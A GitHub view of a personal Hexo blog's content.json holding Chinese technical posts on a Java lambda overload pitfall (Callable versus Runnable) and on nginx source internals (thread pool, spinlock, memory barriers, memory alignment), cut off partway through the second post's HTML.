-
Notifications
You must be signed in to change notification settings - Fork 1
/
content.json
1 lines (1 loc) · 675 KB
/
content.json
1
{"meta":{"title":"H-ZeX","subtitle":"H-ZeX's Coding Life","description":null,"author":"H-ZeX","url":"https://h-zex.github.io"},"pages":[],"posts":[{"title":"Java使用lambda调用参数为callable或runnable的重载函数时可能存在坑","date":"2020-02-27T08:19:09.000Z","path":"2020/02/27/java-runnable-callable-potential-problem/","text":"Java使用lambda且未显式指明lambda类型时，调用参数为callable与runnable的重载函数时可能存在坑，例子如下，基于jdk-11.0.1123456789101112static int b(Callable<?> c) { return 10;}static void b(Runnable r) {}public static void main(String[] args) { b(() -> { throw new RuntimeException(); });} 如果没有int b(Callable<?> c)函数，那么肯定是调用void b(Runnable r)函数，而如果有int b(Callable<?> c)函数，默认是调用int b(Callable<?> c)函数。从而如果一个lib第一版只有runnable的版本，并且第二版增加了callable的版本，而客户在第一版时这样去使用，就会导致，客户升级版本时，很难得知所调用的函数发生了变化，从而容易导致bug。","raw":"---\ntitle: Java使用lambda调用参数为callable或runnable的重载函数时可能存在坑\ndate: 2020-02-27 16:19:09\ntags:\n- java类型系统\n- lambda函数\ncategories:\n- JAVA\n---\nJava使用lambda且未显式指明lambda类型时，调用参数为callable与runnable的重载函数时可能存在坑，例子如下，基于`jdk-11.0.1`\n```java\n static int b(Callable<?> c) {\n return 10;\n }\n\n static void b(Runnable r) {\n }\n\n public static void main(String[] args) {\n b(() -> {\n throw new RuntimeException();\n });\n }\n```\n如果没有`int b(Callable<?> c)`函数，那么肯定是调用`void b(Runnable r)`函数，而如果有`int b(Callable<?> c)`函数，默认是调用`int b(Callable<?> c)`函数。\n从而如果一个lib第一版只有`runnable`的版本，并且第二版增加了`callable`的版本，而客户在第一版时这样去使用，就会导致，客户升级版本时，很难得知所调用的函数发生了变化，从而容易导致bug。\n","content":"<p>Java使用lambda且未显式指明lambda类型时，调用参数为callable与runnable的重载函数时可能存在坑，例子如下，基于<code>jdk-11.0.1</code><br><figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">static</span> <span class=\"keyword\">int</span> <span class=\"title\">b</span><span class=\"params\">(Callable<?> c)</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"number\">10</span>;</span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">b</span><span class=\"params\">(Runnable r)</span> </span>{</span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] args)</span> </span>{</span><br><span class=\"line\"> b(() -> {</span><br><span class=\"line\"> <span class=\"keyword\">throw</span> <span class=\"keyword\">new</span> RuntimeException();</span><br><span class=\"line\"> });</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure></p>\n<p>如果没有<code>int b(Callable<?> c)</code>函数，那么肯定是调用<code>void b(Runnable r)</code>函数，而如果有<code>int b(Callable<?> c)</code>函数，默认是调用<code>int b(Callable<?> c)</code>函数。<br>从而如果一个lib第一版只有<code>runnable</code>的版本，并且第二版增加了<code>callable</code>的版本，而客户在第一版时这样去使用，就会导致，客户升级版本时，很难得知所调用的函数发生了变化，从而容易导致bug。</p>\n","slug":"java-runnable-callable-potential-problem","categories":[{"name":"JAVA","slug":"JAVA","permalink":"https://h-zex.github.io/categories/JAVA/"}],"tags":[{"name":"java类型系统","slug":"java类型系统","permalink":"https://h-zex.github.io/tags/java类型系统/"},{"name":"lambda函数","slug":"lambda函数","permalink":"https://h-zex.github.io/tags/lambda函数/"}]},{"title":"My Nginx Src Reading Notes","date":"2019-08-23T13:58:41.000Z","path":"2019/08/23/my-nginx-src-reading-notes/","text":"Overviewthread_poolngx_thread_pool_init 创建的是detached类型的线程 有一段类似于注释掉的代码，把thread的栈大小设置为PTHREAD_STACK_MIN 线程中运行的函数是ngx_thread_pool_cycle 要注意的是pthread中，main函数退出(不是通过pthread_exit结束，而是通过exit或直接return结束)，那么即使还有线程没有结束，依然是程序退出。而这里并没有在main函数去等待这些线程，另一方面，这些线程是detached线程，即无法被join 这里不能使用join去等待，因为这是detached的线程 这是一个确定大小的线程池，并且没有线程复活的机制——似乎在C中，只要不 “调用pthread_exit” 或者 “从pthread_create运行的start_routine return”，就不会出现线程失败而进程还活着的情况？所以并不需要线程复活的机制？ ngx_thread_pool_destroy 代码 12345678910111213141516171819202122232425262728293031static voidngx_thread_pool_destroy(ngx_thread_pool_t *tp){ ngx_uint_t n; ngx_thread_task_t task; volatile ngx_uint_t lock; ngx_memzero(&task, sizeof(ngx_thread_task_t)); task.handler = ngx_thread_pool_exit_handler; task.ctx = (void *) &lock; for (n = 0; n < tp->threads; n++) { lock = 1; if (ngx_thread_task_post(tp, &task) != NGX_OK) { return; } // 在exit的函数里会设置lock为0， while (lock) { ngx_sched_yield(); } task.event.active = 0; } (void) ngx_thread_cond_destroy(&tp->cond, tp->log); (void) ngx_thread_mutex_destroy(&tp->mtx, tp->log);} 这里是通过往任务队列push进exit任务来实现destroy的（该任务的handler是ngx_thread_pool_exit_handler）。然后不断等待lock变量（已用volatile修饰）变为0，才开始destroy下一个线程 我觉得这里之所以不用一个lock数组，从而无需同步的等待线程退出，或许有如下原因 用数组的实现方式大约是：不断push shutdown任务，直到所有线程都被push了shutdown任务。然后再跑一个轮询，等待lock数组里的元素都变为0，期间如果遇到非0的元素，要么停下来等待，要么收集起来，用于下一次轮询。无论是那种，逻辑都很复杂 关闭线程池不需要很快。线程池是非常重量的，所以不宜频繁关闭打开，那么关闭其实是一个占比很小的需求，所以简单实现下就好 我以前自己实现的线程池是设置一个state变量，这个变量的存活期与整个线程池的存活期一样行。这个state变量是一个atomic变量，并且被worker（在nginx中对应的就是ngx_thread_pool_cycle函数）不断读取——每次循环都要读取两次。从而有非常高的同步开销。这里，这个volatile变量只有在shutdown期间才存在，所以开销低非常多 ngx_thread_pool_queue_t 表示一个单链表，节点是ngx_thread_task_t类型 定义 1234typedef struct { ngx_thread_task_t *first; ngx_thread_task_t **last; } ngx_thread_pool_queue_t; last字段存最后一个ngx_thread_task_t类型的元素的next字段的地址，从而需要append一个元素到末尾时，只需要解引用该字段写入ngx_thread_task_t*类型的数据即可 12*ngx_thread_pool_done.last = task;ngx_thread_pool_done.last = &task->next; append到单链表末尾也是O(1)的复杂度（因为我们有最末尾元素的next字段的地址）。当然，添加到头部也是O(1)的复杂度 ngx_thread_pool_cycle 流程是 先block掉大部分信号（除了SIGILL、SIGFPE、SIGSEGV、SIGBUS以及其他不能被忽略和捕获的信号——比如SIGKILL、SIGSTOP） 跑一个无限循环 在循环中加锁获取queue头部的task对象，如果无法获取，使用条件变量等待。中间如果出现错误则return 获取task对象后run这个task对象的handler 使用spin lock加锁，加锁成功后把这个task对象放到done队列尾部 加入到队列后，会有个GCC的编译器内存屏障，使得 Added appropriate ngx_memory_barrier() calls to make sure all modifications will happen before the lock is released(来自这句statement的commit msg) 之后调用notify函数，传入ngx_thread_pool_handler函数的地址 里面有这么一段 12345678ngx_spinlock(&ngx_thread_pool_done_lock, 1, 2048);*ngx_thread_pool_done.last = task;ngx_thread_pool_done.last = &task->next;ngx_memory_barrier();ngx_unlock(&ngx_thread_pool_done_lock); commit msg对ngx_memory_barrier的解释是（注意，这里的ngx_memory_barrier并不是CPU内存屏障，而是编译器的内存屏障） Thread pools: memory barriers in task completion notifications. The ngx_thread_pool_done object isn’t volatile, and at least some compilers assume that it is permitted to reorder modifications of volatile and non-volatile objects. Added appropriate ngx_memory_barrier() calls to make sure all modifications will happen before the lock is released. Reported by Mindaugas Rasiukevicius, http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008160.html 这里之所以不使用mutex，我认为有这几个原因 这里竞争不激烈，所以重量锁不必要 ngx_thread_task_alloc 代码 1234567891011121314ngx_thread_task_t *ngx_thread_task_alloc(ngx_pool_t *pool, size_t size){ ngx_thread_task_t *task; task = ngx_pcalloc(pool, sizeof(ngx_thread_task_t) + size); if (task == NULL) { return NULL; } task->ctx = task + 1; return task;} 这个函数非常有意思，这是一个被外部调用的函数，用来获得task结构的。其把ctx（也就是具体的work函数的参数）分配在紧邻结构体的地方，从而使得结构体本身与结构体内ctx指针的内存位置连在一起，对cache非常友好 ngx_thread_task_post 用于往任务队列里push task对象 这个push是线程安全的，但是要求所有的请求排队——因为是使用thread pool的mutex来加锁几乎整个函数体的 这里用的是加锁、push对象，cond signal的策略。ngx_thread_pool_cycle的函数也是用加锁、cond wait的策略来获取任务的。这里并没有使用spin-lock加上重型锁（就是mutex）来优化。可能的原因我认为有 需要条件变量，所以需要锁mutex——如果用spin lock，那其实无需条件变量 可能push任务这个需求并不是非常频繁，反而任务执行才是重点——目前nginx的线程池好像只是用于异步磁盘IO。另一方面，如果执行任务的时间比push任务的时间比起来更小，或者是相差不大，那其实并没有使用线程池的必要——直接在当前线程运行就好，因为push进线程池本身就有非常大的开销，并且线程一多，上下文切换的开销也大，从nginx的设计理念来讲，只要不是阻塞操作（比如磁盘IO是阻塞操作（读写文件似乎不能Nonblocking），网络IO可以不阻塞），都没有必要使用线程池 与我自己的线程池的对比 我的线程池 nginx的优点 ngxin不需要维护线程池的state变量（该变量是atomic的，并且被频繁读取，读取这种变量开销很大），从而同步开销小 线程池中需要同步的变量很少很少，并且对这些变量的操作也非常少，从而同步开销小 spin_lock 主要代码如下 12345678910111213141516171819202122232425262728293031voidngx_spinlock(ngx_atomic_t *lock, ngx_atomic_int_t value, ngx_uint_t spin){ ngx_uint_t i, n; for ( ;; ) { if (*lock == 0 && ngx_atomic_cmp_set(lock, 0, value)) { return; } if (ngx_ncpu > 1) { for (n = 1; n < spin; n <<= 1) { for (i = 0; i < n; i++) { ngx_cpu_pause(); } if (*lock == 0 && ngx_atomic_cmp_set(lock, 0, value)) { return; } } } // 一次spin过去了还没有拿到锁，则让出cpu ngx_sched_yield(); }} ngx_atomic_cmp_set会插入编译器的memory barrier，不是cpu的memory barrier（以下Ref from GCC doc） “memory” The “memory” clobber tells the compiler that the assembly code performs memory reads or writes to items other than those listed in the input and output operands (for example, accessing the memory pointed to by one of the input parameters). To ensure memory contains correct values, GCC may need to flush specific register values to memory before executing the asm. Further, the compiler does not assume that any values read from memory before an asm remain unchanged after that asm; it reloads them as needed. Using the “memory” clobber effectively forms a read/write memory barrier for the compiler. Note that this clobber does not prevent the processor from doing speculative reads past the asm statement. To prevent that, you need processor-specific fence instructions. flush to memory代价很高，gcc还允许一些细致的优化，见原文 123456789> __asm__ volatile (> > NGX_SMP_LOCK> " cmpxchgq %3, %1; "> " sete %0; "> > // 按照GCC内联汇编的文档，受影响列表中的`memory`会导致`Using the "memory" clobber effectively forms a read/write memory barrier for the compiler.`> : "=a" (res) : "m" (*lock), "a" (old), "r" (set) : "cc", "memory");> spin lock除非拿到锁，否则不会返回 传入一个参数spin，uintptr_t类型，用于指示每次指数退避地等待的过程的长度。增大该参数可以在拿不到锁的情况下有效的降低CPU空转的时间，但也降低了竞争到锁的概率。不过在不繁忙时，该参数过大将导致等待锁的时间过长 pause直接使用cpu的pause指令实现（以下Ref from intel manual） Improves the performance of spin-wait loops When executing a “spin-wait loop,” processors will suffer a severe performance penalty when exiting the loop because it detects a possible memory order violation. （意思应该是说，频繁的读取一个volatile位置，使得需要反复的同步等，从而很昂贵（比如java 的volatile具有acquire-release语义，读取也是非常昂贵的））The PAUSE instruction provides a hint to the processor that the code sequence is a spin-wait loop. The processor uses this hint to avoid the memory order violation in most situations, which greatly improves processor performance. For this reason, it is recommended that a PAUSE instruction be placed in all spin-wait loops. An additional function of the PAUSE instruction is to reduce the power consumed by a processor while executing a spin loop In earlier IA-32 processors, the PAUSE instruction operates like a NOP instruction. The Pentium 4 and Intel Xeon processors implement the PAUSE instruction as a delay. The delay is finite and can be zero for some processors. This instruction does not change the architectural state of the processor (that is, it performs essentially a delaying no-op operation). This instruction’s operation is the same in non-64-bit modes and 64-bit mode. cmpxchgq 从intel的手册来看，这个指令并没有memory barrier。这里存疑，从nginx线程池上下文来看，这个spin lock是需要memory barrier，因为ngx_thread_pool_handler看其来应该是在另一个线程运行的（否则也就不需要lock了），所以肯定是需要memory barrier的。然而，unlock的操作实在是非常简单#define ngx_unlock(lock) *(lock) = 0，并没有构成lock和unlock的闭合——memory barrier似乎都是需要成对出现的 This instruction can be used with a LOCK prefix to allow the instruction to be executed atomically To simplify the interface to the processor’s bus, the destination operand receives a write cycle without regard to the result of the comparison. The destination operand is written back if the comparison fails; otherwise, the source operand is written into the destination. (The processor never produces a locked read without also producing a locked write.) ngx_sched_yield 代码 12345#if (NGX_HAVE_SCHED_YIELD)#define ngx_sched_yield() sched_yield()#else#define ngx_sched_yield() usleep(1)#endif 按照sched_yield的 manual sched_yield() is intended for use with read-time scheduling policies (i.e., SCHED_FIFO or SCHED_RR). Use of sched_yield() with nondeterministic scheduling policies such as SCHED_OTHER is unspecified and very likely means your application design is broken. 那么这里nginx应该是实时进程？（TODO） 内存池ngx_memalign 代码 123456789101112/* * Linux has memalign() or posix_memalign() * Solaris has memalign() * FreeBSD 7.0 has posix_memalign(), besides, early version's malloc() * aligns allocations bigger than page size at the page boundary */#if (NGX_HAVE_POSIX_MEMALIGN || NGX_HAVE_MEMALIGN)void *ngx_memalign(size_t alignment, size_t size, ngx_log_t *log);#else#define ngx_memalign(alignment, size, log) ngx_alloc(size, log)#endif 如果有posix_memalign或memalign那么是直接使用这两个函数实现，否则是使用malloc实现，malloc的man中有这么一句 The malloc() and calloc() functions return a pointer to the allocated memory, which is suitably aligned for any built-in type 我使用x86_64的linux 5.0.0-25-generic做实验，每次返回的指针最后4bit都是0，也就是16B对齐 在一些UNIX实现中， 无法通过调用free()来释放由memalign()分配的内存，因为此类memalign()在实现时使用malloc()来分配内存块，然后返回一个指针，指向该内存块内已对齐的适当地址（也就是指针不是指向这个块的边界，而是指向块内的某处） 其他 以下引用自OceanBase内存管理原理解析 全局内存池的意义如下： 全局内存池可以统计每个模块的内存使用情况，如果出现内存泄露，可以很快定位到发生问题的模块。 全局内存池可用于辅助调试。例如，可以将全局内存池中申请到的内存块按字节填充为某个非法的值（比如0xFE），当出现内存越界等问题时，服务器程序会很快在出现问题的位置Core Dump，而不是带着错误运行一段时间后才Core Dump，从而方便问题定位。 总而言之，OceanBase的内存管理没有采用高深的技术，也没有做到通用或者最优，但是很好地满足了系统初期的两个最主要的需求：可控性以及没有内存碎片。","raw":"---\ntitle: My Nginx Src Reading Notes \ndate: 2019-08-23 21:58:41\ntags:\n- nginx\ncategories:\n- Linux\n---\n\n## Overview\n\n## `thread_pool`\n\n### `ngx_thread_pool_init`\n\n- 创建的是detached类型的线程\n- 有一段类似于注释掉的代码，把thread的栈大小设置为`PTHREAD_STACK_MIN`\n- 线程中运行的函数是`ngx_thread_pool_cycle`\n- 要注意的是pthread中，`main`函数退出(不是通过`pthread_exit`结束，而是通过`exit`或直接`return`结束)，那么即使还有线程没有结束，依然是程序退出。而这里并没有在main函数去等待这些线程，另一方面，这些线程是`detached`线程，即无法被`join`\n- 这里不能使用join去等待，因为这是detached的线程\n- 这是一个确定大小的线程池，并且没有线程复活的机制——似乎在C中，只要不 “调用`pthread_exit`” 或者 “从`pthread_create`运行的`start_routine` return”，就不会出现线程失败而进程还活着的情况？所以并不需要线程复活的机制？\n\n### `ngx_thread_pool_destroy`\n\n- 代码\n ```c\n static void\n ngx_thread_pool_destroy(ngx_thread_pool_t *tp)\n {\n ngx_uint_t n;\n ngx_thread_task_t task;\n volatile ngx_uint_t lock;\n \n ngx_memzero(&task, sizeof(ngx_thread_task_t));\n \n task.handler = ngx_thread_pool_exit_handler;\n task.ctx = (void *) &lock;\n \n for (n = 0; n < tp->threads; n++) {\n lock = 1;\n \n if (ngx_thread_task_post(tp, &task) != NGX_OK) {\n return;\n }\n \n // 在exit的函数里会设置lock为0，\n while (lock) {\n ngx_sched_yield();\n }\n \n task.event.active = 0;\n }\n \n (void) ngx_thread_cond_destroy(&tp->cond, tp->log);\n \n (void) ngx_thread_mutex_destroy(&tp->mtx, tp->log);\n }\n ```\n- 这里是通过往任务队列push进exit任务来实现destroy的（该任务的handler是`ngx_thread_pool_exit_handler`）。然后不断等待`lock`变量（已用volatile修饰）变为`0`，才开始destroy下一个线程\n- 我觉得这里之所以不用一个`lock`数组，从而无需同步的等待线程退出，或许有如下原因\n - 用数组的实现方式大约是：不断push shutdown任务，直到所有线程都被push了shutdown任务。然后再跑一个轮询，等待lock数组里的元素都变为0，期间如果遇到非0的元素，要么停下来等待，要么收集起来，用于下一次轮询。无论是那种，逻辑都很复杂\n - 关闭线程池不需要很快。线程池是非常重量的，所以不宜频繁关闭打开，那么关闭其实是一个占比很小的需求，所以简单实现下就好\n- 我以前自己实现的线程池是设置一个state变量，这个变量的存活期与整个线程池的存活期一样行。这个state变量是一个atomic变量，并且被worker（在nginx中对应的就是`ngx_thread_pool_cycle`函数）不断读取——每次循环都要读取两次。从而有非常高的同步开销。这里，这个volatile变量只有在shutdown期间才存在，所以开销低非常多\n\n### `ngx_thread_pool_queue_t`\n\n- 表示一个单链表，节点是`ngx_thread_task_t`类型\n- 定义\n ```c\n typedef struct {\n ngx_thread_task_t *first;\n ngx_thread_task_t **last; \n } ngx_thread_pool_queue_t;\n ```\n- `last`字段存最后一个`ngx_thread_task_t`类型的元素的next字段的地址，从而需要append一个元素到末尾时，只需要解引用该字段写入`ngx_thread_task_t*`类型的数据即可\n ```c\n *ngx_thread_pool_done.last = task;\n ngx_thread_pool_done.last = &task->next;\n ```\n- append到单链表末尾也是O(1)的复杂度（因为我们有最末尾元素的next字段的地址）。当然，添加到头部也是O(1)的复杂度\n\n### `ngx_thread_pool_cycle`\n\n- 流程是\n - 先block掉大部分信号（除了SIGILL、SIGFPE、SIGSEGV、SIGBUS以及其他不能被忽略和捕获的信号——比如SIGKILL、SIGSTOP）\n - 跑一个无限循环\n - 在循环中加锁获取queue头部的task对象，如果无法获取，使用条件变量等待。中间如果出现错误则`return`\n - 获取task对象后run这个task对象的handler\n - 使用spin lock加锁，加锁成功后把这个task对象放到done队列尾部\n - 加入到队列后，会有个GCC的编译器内存屏障，使得\n\n > Added appropriate ngx_memory_barrier() calls to make sure all modifications will happen before the lock is released(来自这句statement的commit msg)\n - 之后调用notify函数，传入`ngx_thread_pool_handler`函数的地址\n- 里面有这么一段\n ```c\n ngx_spinlock(&ngx_thread_pool_done_lock, 1, 2048);\n \n *ngx_thread_pool_done.last = task;\n ngx_thread_pool_done.last = &task->next;\n \n ngx_memory_barrier();\n \n ngx_unlock(&ngx_thread_pool_done_lock);\n ```\n - commit msg对`ngx_memory_barrier`的解释是（注意，这里的`ngx_memory_barrier`并不是CPU内存屏障，而是编译器的内存屏障）\n\n > Thread pools: memory barriers in task completion notifications. The `ngx_thread_pool_done` object isn't volatile, and at least some compilers assume that it is permitted to reorder modifications of volatile and non-volatile objects. Added appropriate `ngx_memory_barrier()` calls to make sure all modifications will happen before the lock is released. Reported by Mindaugas Rasiukevicius, http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008160.html\n - 这里之所以不使用mutex，我认为有这几个原因\n\n - 这里竞争不激烈，所以重量锁不必要\n\n\n### `ngx_thread_task_alloc`\n\n- 代码\n ```c\n ngx_thread_task_t *\n ngx_thread_task_alloc(ngx_pool_t *pool, size_t size)\n {\n ngx_thread_task_t *task;\n \n task = ngx_pcalloc(pool, sizeof(ngx_thread_task_t) + size);\n if (task == NULL) {\n return NULL;\n }\n \n task->ctx = task + 1;\n \n return task;\n }\n ```\n- 这个函数非常有意思，这是一个被外部调用的函数，用来获得task结构的。其把ctx（也就是具体的work函数的参数）分配在紧邻结构体的地方，从而使得结构体本身与结构体内ctx指针的内存位置连在一起，对cache非常友好\n\n\n### `ngx_thread_task_post`\n\n- 用于往任务队列里push task对象\n- 这个push是线程安全的，但是要求所有的请求排队——因为是使用thread pool的mutex来加锁几乎整个函数体的\n- 这里用的是加锁、push对象，cond signal的策略。`ngx_thread_pool_cycle`的函数也是用加锁、cond wait的策略来获取任务的。这里并没有使用spin-lock加上重型锁（就是mutex）来优化。可能的原因我认为有\n - 需要条件变量，所以需要锁mutex——如果用spin lock，那其实无需条件变量\n - 可能push任务这个需求并不是非常频繁，反而任务执行才是重点——目前nginx的线程池好像只是用于异步磁盘IO。另一方面，如果执行任务的时间比push任务的时间比起来更小，或者是相差不大，那其实并没有使用线程池的必要——直接在当前线程运行就好，因为push进线程池本身就有非常大的开销，并且线程一多，上下文切换的开销也大，从nginx的设计理念来讲，只要不是阻塞操作（比如磁盘IO是阻塞操作（读写文件似乎不能Nonblocking），网络IO可以不阻塞），都没有必要使用线程池\n\n### 与我自己的线程池的对比\n\n- [我的线程池](https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp)\n- nginx的优点\n - ngxin不需要维护线程池的state变量（该变量是atomic的，并且被频繁读取，读取这种变量开销很大），从而同步开销小\n - 线程池中需要同步的变量很少很少，并且对这些变量的操作也非常少，从而同步开销小\n\n## `spin_lock`\n\n- 主要代码如下\n ```c\n void\n ngx_spinlock(ngx_atomic_t *lock, ngx_atomic_int_t value, ngx_uint_t spin)\n {\n \n ngx_uint_t i, n;\n \n for ( ;; ) {\n \n if (*lock == 0 && ngx_atomic_cmp_set(lock, 0, value)) {\n return;\n }\n \n if (ngx_ncpu > 1) {\n \n for (n = 1; n < spin; n <<= 1) {\n \n for (i = 0; i < n; i++) {\n ngx_cpu_pause();\n }\n \n if (*lock == 0 && ngx_atomic_cmp_set(lock, 0, value)) {\n return;\n }\n }\n }\n \n // 一次spin过去了还没有拿到锁，则让出cpu\n ngx_sched_yield();\n }\n \n }\n ```\n- `ngx_atomic_cmp_set`会插入编译器的memory barrier，不是cpu的memory barrier（以下[Ref from GCC doc](https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html)）\n > \"memory\"\n > - The \"memory\" clobber tells the compiler that **the assembly code performs memory reads or writes to items other than those listed in the input and output operands** (for example, accessing the memory pointed to by one of the input parameters). \n >\n > - To ensure memory contains correct values, GCC **may need to flush specific register values to memory before executing the asm**. \n >\n > - Further, **the compiler does not assume that any values read from memory before an asm remain unchanged after that asm; it reloads them as needed.** \n >\n > - **Using the \"memory\" clobber effectively forms a read/write memory barrier for the compiler.**\n >\n > - **Note that this clobber does not prevent the processor from doing speculative reads past the asm statement. To prevent that, you need processor-specific fence instructions**.\n >\n > - flush to memory代价很高，gcc还允许一些细致的优化，见原文\n >\n > ```asm\n > __asm__ volatile (\n > \n > NGX_SMP_LOCK\n > \" cmpxchgq %3, %1; \"\n > \" sete %0; \"\n > \n > // 按照GCC内联汇编的文档，受影响列表中的`memory`会导致`Using the \"memory\" clobber effectively forms a read/write memory barrier for the compiler.`\n > : \"=a\" (res) : \"m\" (*lock), \"a\" (old), \"r\" (set) : \"cc\", \"memory\");\n > ```\n\n- spin lock除非拿到锁，否则不会返回\n- 传入一个参数`spin`，`uintptr_t`类型，用于指示每次指数退避地等待的过程的长度。增大该参数可以在拿不到锁的情况下有效的降低CPU空转的时间，但也降低了竞争到锁的概率。不过在不繁忙时，该参数过大将导致等待锁的时间过长\n- pause直接使用cpu的`pause`指令实现（以下Ref from intel manual）\n > - Improves the performance of spin-wait loops\n > - When executing a “spin-wait loop,” processors will suffer a severe performance penalty when exiting the loop **because it detects a possible memory order violation.** （意思应该是说，频繁的读取一个volatile位置，使得需要反复的同步等，从而很昂贵（比如java 的volatile具有acquire-release语义，读取也是非常昂贵的））The PAUSE instruction provides a hint to the processor that the code sequence is a spin-wait loop. The processor uses this hint to avoid the memory order violation in most situations, which greatly improves processor performance. For this reason, **it is recommended that a PAUSE instruction be placed in all spin-wait loops.**\n > - An additional function of the PAUSE instruction is to reduce the power consumed by a processor while executing a spin loop\n > - In earlier IA-32 processors, the PAUSE instruction operates like a NOP instruction. The Pentium 4 and Intel Xeon processors implement the PAUSE instruction as a delay. The delay is finite and can be zero for some processors. This instruction does not change the architectural state of the processor (that is, it performs essentially a delaying no-op operation). This instruction’s operation is the same in non-64-bit modes and 64-bit mode.\n- `cmpxchgq`\n - 从intel的手册来看，这个指令并没有memory barrier。这里存疑，从nginx线程池上下文来看，这个spin lock是需要memory barrier，因为`ngx_thread_pool_handler`看其来应该是在另一个线程运行的（否则也就不需要lock了），所以肯定是需要memory barrier的。然而，unlock的操作实在是非常简单`#define ngx_unlock(lock) *(lock) = 0`，并没有构成lock和unlock的闭合——memory barrier似乎都是需要成对出现的\n - > **This instruction can be used with a LOCK prefix to allow the instruction to be executed atomically**\n - > To simplify the interface to the processor’s bus, the destination operand receives a write cycle without regard to the result of the comparison. The destination operand is written back if the comparison fails; otherwise, the source operand is written into the destination. (The processor never produces a locked read without also producing a locked write.)\n- `ngx_sched_yield`\n - 代码\n ```c\n #if (NGX_HAVE_SCHED_YIELD)\n #define ngx_sched_yield() sched_yield()\n #else\n #define ngx_sched_yield() usleep(1)\n #endif\n ```\n - 按照`sched_yield`的 manual\n\n > `sched_yield()` is intended for use with read-time scheduling policies (i.e., `SCHED_FIFO` or `SCHED_RR`). **Use of `sched_yield()` with nondeterministic scheduling policies such as `SCHED_OTHER` is unspecified and very likely means your application design is broken.**\n - 那么这里nginx应该是实时进程？（TODO）\n\n## 内存池\n\n### `ngx_memalign`\n\n- 代码\n ```c\n /*\n * Linux has memalign() or posix_memalign()\n * Solaris has memalign()\n * FreeBSD 7.0 has posix_memalign(), besides, early version's malloc()\n * aligns allocations bigger than page size at the page boundary\n */\n \n #if (NGX_HAVE_POSIX_MEMALIGN || NGX_HAVE_MEMALIGN)\n void *ngx_memalign(size_t alignment, size_t size, ngx_log_t *log);\n #else\n #define ngx_memalign(alignment, size, log) ngx_alloc(size, log)\n #endif\n ```\n\n- 如果有`posix_memalign`或`memalign`那么是直接使用这两个函数实现，否则是使用`malloc`实现，malloc的man中有这么一句\n > The malloc() and calloc() functions return a pointer to the allocated memory, which is **suitably aligned for any built-in type** \n 我使用`x86_64`的`linux 5.0.0-25-generic`做实验，每次返回的指针最后4bit都是0，也就是16B对齐\n\n- > 在一些UNIX实现中， 无法通过调用free()来释放由memalign()分配的内存，因为此类memalign()在实现时使用malloc()来分配内存块，然后返回一个指针，指向该内存块内已对齐的适当地址（也就是指针不是指向这个块的边界，而是指向块内的某处）\n\n### 其他\n\n- 以下引用自[OceanBase内存管理原理解析](https://zhuanlan.zhihu.com/p/77246009)\n\n > 全局内存池的意义如下：\n > - 全局内存池可以统计每个模块的内存使用情况，如果出现内存泄露，可以很快定位到发生问题的模块。\n > - 全局内存池可用于辅助调试。例如，可以将全局内存池中申请到的内存块按字节填充为某个非法的值（比如0xFE），当出现内存越界等问题时，服务器程序会很快在出现问题的位置Core Dump，而不是带着错误运行一段时间后才Core Dump，从而方便问题定位。\n > - 总而言之，OceanBase的内存管理没有采用高深的技术，也没有做到通用或者最优，但是很好地满足了系统初期的两个最主要的需求：可控性以及没有内存碎片。\n","content":"<h2 id=\"Overview\"><a href=\"#Overview\" class=\"headerlink\" title=\"Overview\"></a>Overview</h2><h2 id=\"thread-pool\"><a href=\"#thread-pool\" class=\"headerlink\" title=\"thread_pool\"></a><code>thread_pool</code></h2><h3 id=\"ngx-thread-pool-init\"><a href=\"#ngx-thread-pool-init\" class=\"headerlink\" title=\"ngx_thread_pool_init\"></a><code>ngx_thread_pool_init</code></h3><ul>\n<li>创建的是detached类型的线程</li>\n<li>有一段类似于注释掉的代码，把thread的栈大小设置为<code>PTHREAD_STACK_MIN</code></li>\n<li>线程中运行的函数是<code>ngx_thread_pool_cycle</code></li>\n<li>要注意的是pthread中，<code>main</code>函数退出(不是通过<code>pthread_exit</code>结束，而是通过<code>exit</code>或直接<code>return</code>结束)，那么即使还有线程没有结束，依然是程序退出。而这里并没有在main函数去等待这些线程，另一方面，这些线程是<code>detached</code>线程，即无法被<code>join</code></li>\n<li>这里不能使用join去等待，因为这是detached的线程</li>\n<li>这是一个确定大小的线程池，并且没有线程复活的机制——似乎在C中，只要不 “调用<code>pthread_exit</code>” 或者 “从<code>pthread_create</code>运行的<code>start_routine</code> return”，就不会出现线程失败而进程还活着的情况？所以并不需要线程复活的机制？</li>\n</ul>\n<h3 id=\"ngx-thread-pool-destroy\"><a href=\"#ngx-thread-pool-destroy\" class=\"headerlink\" title=\"ngx_thread_pool_destroy\"></a><code>ngx_thread_pool_destroy</code></h3><ul>\n<li><p>代码</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span 